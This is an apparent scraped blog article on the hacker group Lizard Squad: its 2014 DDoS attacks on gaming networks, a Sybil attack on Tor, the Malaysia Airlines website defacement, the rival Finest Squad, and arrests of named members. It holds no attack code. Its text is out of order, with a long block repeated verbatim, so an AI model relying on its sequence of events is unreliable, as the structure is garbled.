On December 26, the hacker group launched a Sybil attack, (A Sybil attack is a kind of security threat on an online system where one person tried to take over the network by creating multiple pseudonymous nodes, accounts, etc.) which involved more than 3000 relays against the Tor network.
‘LizardNSA’ nodes began appearing on the network.
In the first month of 2015, on January 26, the website of Malaysia Airlines was attacked by Lizard Squad, calling itself a ‘cyber caliphate’.
Users were getting redirected to another page with an image of a tuxedo-wearing lizard, and reading ‘Hacked by Cyber Caliphate’.
The page also had the headline ‘404 – Plane Not Found’, an apparent reference to the airline’s loss of flight MH370 the previous year.
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/malaysia-airlines-website.jpg
404 – Plane Not Found – Defaced Malaysia Airlines website
Customer data were not compromised and the flight bookings didn’t get affected.
A new squad of hackers emerges, Finest Squad
A group known as the Finest Squad emerged in December of 2014 with the intention of bringing Lizard Squad’s actions to an end.
The Finest Squad members managed to break into the public Twitter accounts and websites of the Lizard Squad members and released their public information, such as names and photographs of them online.
The members of Lizard Squad went silent, and it is not yet clear how the Finest Squad members uncover their personal information.
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/finest-squad.jpg
Finest Squad defaced Lizard’s Squad Website while also exposing members.
They also revealed how the Lizard hackers managed to take the video game networks down and even submitted information about the vulnerabilities discovered to the video game networks that were under attack.
Tweet – [https://twitter.com/FinestSquad/status/544154421580808192 ]
Known members arrests and names.
Julius Kivimäki, ‘zeekill’
Julius was a 17 years old Finish teenager at the time of conviction. He was convicted of 50700 charges related to computer crimes. The charges against Julius included data breaches, felony payment fraud, telecommunication harassment, and other counts related to fraud and violations of company secrets.
He received a two-year suspended sentence, undergoing monitoring of his online activities, but he didn’t serve any time in prison.
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Julius-Kivimaki.jpg
Julius Kivimäki, ‘zeekill’ in a recent interview
Vinnie Omari
Vinnie was 22 at the time, and he was from Twickenham, south-west London. He claimed responsibility for the Christmas attacks, and he was arrested by the police in the UK.
Zachary Buchta – ‘fbiarelosers’
[...]
___________________________
@hacking_Attack
@Hacking_Video
“That’s a small dose of what’s to come on Christmas,” reads their account, which later added: “Sony had it worse.”
Xbox Live #offline
— Lizard Squad (@LizardPatrol) December 2, 2014
On the 22nd of December, North’s Korea Internet access went dark. The mystery behind the motive of the 9,5-hour outage was still unknown until the members of the Lizard Squad claimed responsibility for the attack and linked an IP address located in North Korea.
Further attacks, Christmas attacks
On December 25, 2014, the Lizard Squad hackers who had previously threatened to take down gaming services on Christmas, followed through on their promise and launched DDoS attacks on the PlayStation Network and Xbox Live.
The attacks caused widespread anger among gamers around the world. The attacks stopped only when the Internet entrepreneur Kim Dotcom offer 3000 vouchers for his Mega cloud storage service, worth $99 each.
Attacks on Tor, Sybil attack, Malaysia Airlines
The group twitted that they were no longer attacking the gaming giants but on the Tor network.
To clarify, we are no longer attacking PSN or Xbox. We are testing our new Tor 0day.
— Lizard Squad (@LizardMafia) December 26, 2014
On December 26, the hacker group launched a Sybil attack, (A Sybil attack is a kind of security threat on an online system where one person tried to take over the network by creating multiple pseudonymous nodes, accounts, etc.) which involved more than 3000 relays against the Tor network.
‘LizardNSA’ nodes began appearing on the network.
In the first month of 2015, on January 26, the website of Malaysia Airlines was attacked by Lizard Squad, calling itself a ‘cyber caliphate’.
Users were getting redirected to another page with an image of a tuxedo-wearing lizard, and reading ‘Hacked by Cyber Caliphate’.
The page also had the headline ‘404 – Plane Not Found’, an apparent reference to the airline’s loss of flight MH370 the previous year.
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/malaysia-airlines-website.jpg
404 – Plane Not Found – Defaced Malaysia Airlines website
Customer data were not compromised and the flight bookings didn’t get affected.
A new squad of hackers emerges, Finest Squad
A group known as the Finest Squad emerged in December of 2014 with the intention of bringing Lizard Squad’s actions to an end.
The Finest Squad members managed to break into the public Twitter accounts and websites of the Lizard Squad members and released their public information, such as names and photographs of them online.
The members of Lizard Squad went silent, and it is not yet clear how the Finest Squad members uncover their personal information.
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/finest-squad.jpg
Finest Squad defaced Lizard’s Squad Website while also exposing members.
They also revealed how the Lizard hackers managed to take the video game networks down and even submitted information about the vulnerabilities discovered to the video game networks that were under attack.
Tweet – [https://twitter.com/FinestSquad/status/544154421580808192 ]
Known members arrests and names.
Julius Kivimäki, ‘zeekill’
Julius was a 17 years old Finish teenager at the time of conviction. He was convicted of 50700 charges related to computer crimes. The charges against Julius included data breaches, felony payment fraud, telecommunication harassment, and other counts related to fraud and violations of company secrets.
He received a two-year suspended sentence, undergoing monitoring of his online activities, but he didn’t serve any time in prison.
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Julius-Kivimaki.jpg
Julius Kivimäki, ‘zeekill’ in a recent interview
Vinnie Omari
Vinnie was 22 at the time, and he was from Twickenham, south-west London. He claimed responsibility for the Christmas attacks, and he was arrested by the police in the UK.
Zachary Buchta – ‘fbiarelosers’
[...]
___________________________
@hacking_Attack
@Hacking_Video
